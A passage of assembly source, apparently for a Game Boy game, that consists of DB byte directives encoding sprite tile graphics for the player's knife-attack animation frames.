$00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$80,$00,$80,$00,$80,$00,$80 DB $00,$00,$00,$80,$00,$C0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F8,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$03,$00,$03 DB $00,$03,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$7F DB $40,$7F,$E0,$FF,$71,$FF,$1D,$1F DB $05,$3F,$00,$08,$00,$00,$01,$01 DB $00,$FC,$00,$FC,$00,$FC,$00,$FC DB $00,$FC,$00,$FC,$00,$FC,$00,$FC DB $00,$F8,$00,$F0,$00,$E0,$80,$E0 DB $80,$C0,$80,$80,$80,$80,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$0C,$08,$38,$08,$3C,$0C DB $64,$04,$46,$06,$06,$06,$03,$03 DB $01,$01,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1E,$00,$3F,$00,$3F,$00,$7F DB $00,$7F,$00,$FF,$00,$FF,$00,$FF DB $00,$7F,$80,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$7F,$00,$7F,$00,$7F DB $00,$00,$00,$00,$00,$00,$00,$80 DB $00,$80,$00,$80,$00,$80,$00,$80 DB $00,$00,$00,$80,$00,$C0,$00,$E0 DB $00,$F0,$00,$F0,$00,$F8,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$01,$00,$01 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$3F,$00,$1F DB $00,$0F,$00,$09,$00,$00,$01,$01 DB $00,$FC,$00,$FC,$00,$FC,$00,$FC DB $00,$FE,$00,$FE,$00,$FE,$00,$FC DB $00,$FC,$00,$FC,$00,$F8,$00,$F0 DB $00,$F0,$00,$C0,$80,$80,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$14,$10 DB $78,$18,$FC,$0C,$C6,$06,$03,$03 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$0F,$00,$1F,$00,$1F DB $00,$3F,$00,$3F,$00,$7F,$00,$7F DB $00,$7F,$00,$3F,$00,$3F,$C0,$FF DB $E0,$FF,$60,$7F,$00,$1F,$00,$1F DB $00,$00,$00,$00,$00,$80,$00,$80 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$C0,$00,$80,$00,$C0,$00,$E0 DB $00,$F0,$00,$F8,$00,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$7F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$3F,$00,$3F,$10,$1F DB $18,$1F,$0C,$0F,$04,$04,$00,$00 DB $00,$FC,$00,$FE,$00,$FE,$00,$FE DB $00,$FE,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FC,$00,$E0,$40,$40,$C0,$C0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$0F,$00,$1F,$00,$1F,$00,$3F DB $00,$3F,$00,$7F,$00,$7F,$00,$7F DB $00,$3F,$00,$3F,$00,$3F,$00,$1F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$80,$00,$80,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$80,$00,$C0,$00,$E0,$00,$F0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$10,$01,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$01 DB $00,$01,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$1F,$00,$1F,$00,$3F DB $00,$3F,$00,$7F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$3F DB $20,$3F,$30,$30,$20,$20,$60,$60 DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $04,$FC,$06,$06,$03,$03,$00,$00 DB $03,$F8,$03,$F8,$03,$F0,$0F,$F8 DB $0E,$FE,$02,$F0,$00,$F0,$00,$E0 DB $00,$E0,$00,$C0,$00,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$0F DB $00,$1F,$00,$1F,$00,$3F,$00,$3F DB $00,$3F,$00,$7F,$00,$7F,$00,$7F DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$80,$00,$E0,$00,$E0,$00,$F0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$01,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$7F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$7F DB $20,$3F,$30,$30,$20,$20,$60,$60 DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $0C,$FC,$7C,$7C,$06,$06,$03,$03 DB $03,$00,$03,$F0,$03,$F0,$0E,$FC DB $06,$F6,$02,$F0,$00,$F0,$00,$E0 DB $00,$E0,$00,$C0,$00,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$0F DB $00,$1F,$00,$1F,$00,$3F,$00,$3F DB $00,$3F,$00,$7F,$00,$7F,$00,$7F DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$80,$00,$C0,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$80,$00,$E0,$00,$F0,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$01,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$7F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$FF,$00,$FF,$00,$7F DB $00,$3F,$30,$30,$20,$20,$60,$60 DB $00,$FC,$03,$FF,$03,$FF,$00,$FC DB $00,$FE,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $0C,$FC,$7C,$7C,$06,$06,$03,$03 DB $03,$00,$03,$00,$E3,$E0,$7E,$7C DB $06,$06,$02,$00,$00,$80,$00,$C0 DB $00,$E0,$00,$C0,$00,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$07,$00,$0F,$00,$0F DB $00,$1F,$00,$1F,$00,$1F,$00,$3F DB $00,$3F,$00,$3F,$00,$1F,$00,$1F DB $00,$1F,$00,$1F,$00,$3F,$00,$3F DB $00,$00,$00,$80,$00,$C0,$00,$C0 DB $00,$E0,$00,$E0,$00,$E0,$00,$E0 DB $00,$E0,$00,$E0,$00,$C0,$00,$F0 DB $00,$F8,$00,$FC,$00,$FE,$00,$FE DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$3F,$00,$3F DB $00,$3F,$00,$3F,$00,$3F,$00,$7F DB $00,$7F,$00,$3F,$00,$1F,$18,$18 DB $18,$18,$18,$18,$10,$10,$30,$30 DB $01,$FF,$03,$FF,$00,$FC,$00,$FE DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FE,$70,$70 DB $70,$70,$38,$38,$1C,$1C,$06,$06 DB $00,$00,$80,$80,$C6,$C0,$FE,$E0 DB $3C,$30,$38,$98,$00,$80,$00,$C0 DB $00,$C0,$00,$80,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 r3_SpritePlayerKnifeAttackUpEnd:: r3_SpritePlayerKnifeAttackRight:: DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$03,$00,$03 DB $00,$07,$00,$07,$00,$07,$00,$0F DB $00,$0F,$00,$0F,$00,$0F,$00,$1F DB $00,$1F,$00,$1F,$00,$3F,$00,$3F DB $00,$00,$00,$00,$00,$E0,$00,$F0 DB $00,$F8,$00,$F8,$18,$F8,$18,$F8 DB $3C,$F4,$3C,$FC,$38,$F8,$18,$F8 DB $00,$E0,$00,$F0,$00,$F0,$00,$F0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$7F,$00,$7F,$00,$7F DB $00,$7F,$00,$3F,$00,$0F,$07,$07 DB $06,$06,$06,$06,$04,$04,$02,$02 DB $00,$F8,$00,$FC,$00,$FC,$00,$FC DB $00,$FC,$00,$FC,$00,$FC,$00,$FC DB $00,$FC,$00,$FC,$00,$F8,$70,$70 DB $60,$60,$C0,$C0,$80,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$03 DB $00,$03,$00,$07,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$0F,$00,$0F DB $00,$1F,$00,$1F,$00,$1F,$00,$3F DB $00,$00,$00,$00,$00,$00,$00,$E0 DB $00,$F0,$00,$F8,$00,$F8,$08,$F8 DB $38,$F8,$78,$E8,$78,$F8,$38,$F8 DB $10,$F0,$00,$F0,$00,$F8,$00,$F8 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$3F,$00,$3F,$00,$7F,$00,$7F DB $00,$7F,$00,$7F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$3F,$00,$0F DB $07,$07,$06,$06,$0C,$0C,$0E,$0E DB $0C,$FC,$1E,$FE,$1E,$FE,$1C,$FC DB $1C,$FC,$18,$F8,$18,$F8,$10,$F0 DB $18,$F8,$1C,$FC,$1E,$FE,$2E,$EE DB $1C,$1C,$18,$18,$10,$10,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$01,$00 DB $03,$C3,$07,$78,$03,$7C,$03,$3C DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$07,$C0,$CF,$3C,$3F,$0F,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$F0,$00,$F8,$00,$FC DB $00,$FC,$04,$FC,$1C,$FC,$3C,$F4 DB $3C,$FC,$1C,$FC,$08,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $03,$3C,$01,$1E,$00,$1F,$00,$0F DB $00,$0F,$00,$07,$00,$07,$00,$03 DB $00,$01,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $03,$FF,$01,$FF,$00,$FF,$01,$FF DB $03,$FF,$07,$FF,$0F,$EF,$0F,$CF DB $0F,$8F,$0F,$0F,$07,$07,$0F,$0F DB $3F,$3F,$7C,$7C,$C0,$C0,$E0,$E0 DB $C0,$F8,$F0,$F8,$F0,$F8,$F0,$FC DB $F0,$FE,$E0,$FF,$C0,$FE,$C0,$C0 DB $F0,$F0,$F0,$F0,$F8,$F8,$F8,$F8 DB $18,$18,$18,$18,$20,$20,$38,$38 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $01,$00,$03,$03,$07,$00,$03,$3C DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$07,$C0,$CF,$3C,$3F,$0F,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$F0,$00,$F8,$00,$FC DB $00,$FC,$04,$FC,$1C,$FC,$3C,$F4 DB $3C,$FC,$1C,$FC,$08,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $03,$3C,$01,$1E,$00,$1F,$00,$0F DB $00,$0F,$00,$07,$00,$07,$00,$03 DB $00,$01,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $03,$FF,$01,$FF,$00,$FF,$01,$FF DB $01,$FF,$01,$FF,$03,$FF,$07,$FF DB $0F,$FF,$0F,$EF,$07,$07,$1F,$1F DB $3F,$3F,$7C,$7C,$C0,$C0,$E0,$E0 DB $C0,$F8,$F0,$F8,$F0,$FC,$F0,$FC DB $F0,$FE,$E0,$FE,$C0,$FF,$C0,$FE DB $F0,$F0,$F0,$F0,$F8,$F8,$F8,$F8 DB $18,$18,$18,$18,$20,$20,$38,$38 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$01,$00 DB $03,$00,$07,$00,$03,$03,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$07,$00,$0F,$80,$8F,$E0,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$F0,$00,$F8,$00,$FC DB $00,$FC,$04,$FC,$1C,$FC,$3C,$F4 DB $3C,$FC,$1C,$FC,$08,$F8,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$03 DB $00,$0F,$00,$07,$00,$07,$00,$03 DB $00,$01,$00,$01,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $3F,$3F,$07,$3F,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$01,$FF,$03,$7F,$1F,$1F DB $3F,$3F,$7C,$7C,$C0,$C0,$E0,$E0 DB $C0,$F8,$F0,$F8,$F0,$F8,$F0,$F8 DB $F0,$F8,$E0,$FC,$C0,$FC,$C0,$FC DB $F0,$FC,$F0,$F0,$F8,$F8,$F8,$F8 DB $18,$18,$18,$18,$20,$20,$38,$38 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$03 DB $00,$03,$00,$03,$00,$03,$00,$03 DB $00,$07,$00,$07,$00,$0F,$00,$0F DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$F0,$00,$F8,$00,$FC DB $00,$FC,$04,$FC,$0C,$FC,$0E,$FA DB $1E,$FE,$1C,$FC,$0C,$FC,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$01,$00,$01,$00 DB $01,$00,$01,$00,$00,$03,$00,$03 DB $00,$01,$00,$01,$00,$01,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$0F,$01,$1F,$07,$3F,$9E,$7F DB $BC,$7F,$E0,$FF,$80,$7F,$00,$FF DB $00,$FF,$01,$FF,$03,$FF,$03,$FF DB $3F,$3F,$7C,$7C,$C0,$C0,$E0,$E0 DB $40,$F8,$F0,$F8,$F0,$F8,$F0,$F0 DB $F0,$F0,$E0,$F0,$C0,$F8,$C0,$F8 DB $F0,$F8,$F0,$F8,$F8,$F8,$F8,$F8 DB $18,$18,$18,$18,$20,$20,$38,$38 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$03,$00,$03 DB $00,$07,$00,$07,$00,$0F,$00,$0F DB $00,$00,$00,$00,$00,$00,$00,$78 DB $00,$FC,$00,$FC,$00,$FE,$00,$FE DB $02,$FE,$06,$FE,$06,$FE,$02,$FE DB $00,$FE,$00,$FE,$00,$FC,$00,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$1F,$00,$3F,$00,$3F DB $00,$7F,$00,$7F,$01,$FF,$01,$FF DB $01,$FF,$03,$FF,$03,$3F,$03,$03 DB $03,$03,$06,$06,$0C,$0C,$00,$00 DB $F8,$FC,$F8,$F8,$F8,$F8,$F0,$F8 DB $E0,$FC,$E0,$FC,$F0,$FC,$F8,$DC DB $F8,$CC,$F0,$DC,$F8,$F8,$F0,$F0 DB $70,$70,$40,$40,$60,$60,$60,$60 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$01,$00,$01,$00,$01,$00,$01 DB $00,$03,$00,$03,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$00,$00,$78,$00,$FC,$00,$FE DB $00,$FE,$02,$FE,$02,$FE,$02,$FE DB $02,$FE,$00,$FE,$00,$FE,$01,$FF DB $03,$FF,$06,$FE,$04,$FF,$04,$FF DB $00,$00,$00,$00,$00,$00,$00,$00 DB $20,$00,$7C,$40,$FE,$40,$40,$40 DB $40,$40,$C0,$C0,$80,$80,$80,$80 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$1F,$00,$1F,$00,$1F DB $00,$1F,$00,$1F,$00,$1F,$00,$1F DB $00,$0F,$00,$0F,$00,$0F,$00,$07 DB $01,$01,$01,$01,$01,$01,$01,$01 DB $00,$FE,$00,$FC,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FE,$00,$FE,$10,$FE DB $10,$D0,$08,$08,$00,$00,$C0,$C0 DB $00,$00,$00,$E0,$00,$E0,$00,$C0 DB $00,$C0,$00,$C0,$00,$C0,$00,$C0 DB $00,$C0,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$01 DB $00,$03,$00,$03,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$00,$00,$78,$00,$FC,$00,$FC DB $00,$FE,$00,$FE,$02,$FE,$02,$FE DB $02,$FE,$00,$FE,$01,$FF,$01,$FF DB $03,$FF,$06,$FE,$04,$FC,$04,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $40,$00,$F8,$80,$FC,$80,$80,$80 DB $80,$80,$80,$80,$80,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$1F,$00,$1F,$00,$1F DB $00,$1F,$00,$1F,$00,$1F,$00,$1F DB $00,$0F,$00,$0F,$00,$0F,$00,$0F DB $01,$01,$01,$01,$01,$01,$01,$01 DB $00,$FC,$00,$FC,$00,$FE,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FE,$10,$F8 DB $10,$D0,$08,$08,$00,$00,$C0,$C0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$C0,$00,$C0,$00,$C0,$00,$80 DB $00,$80,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$01,$00,$01,$00,$01 DB $00,$03,$00,$03,$00,$07,$00,$07 DB $00,$0F,$00,$0F,$00,$1F,$00,$1F DB $00,$00,$00,$78,$00,$FC,$00,$FC DB $00,$FE,$00,$FE,$02,$FE,$02,$FE DB $02,$FE,$00,$FE,$01,$FF,$01,$FF DB $03,$FF,$06,$FE,$04,$FC,$04,$FC DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$80,$80,$FC,$80,$F8,$80 DB $C0,$80,$80,$80,$80,$80,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$1F,$00,$1F,$00,$1F,$00,$1F DB $00,$1F,$00,$1F,$00,$1F,$00,$1F DB $00,$1F,$00,$1F,$00,$1F,$00,$0F DB $01,$01,$01,$01,$01,$01,$01,$01 DB $00,$FC,$00,$FC,$00,$FC,$00,$FC DB $00,$FE,$00,$FE,$00,$FF,$00,$FF DB $00,$FF,$00,$FF,$00,$FF,$10,$FC DB $10,$D0,$08,$08,$00,$00,$C0,$C0 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$80,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$00 DB $00,$00,$00,$00,$00,$00,$00,$01 DB $00,$01,$00,$01,$00,$03,$00,$03 DB 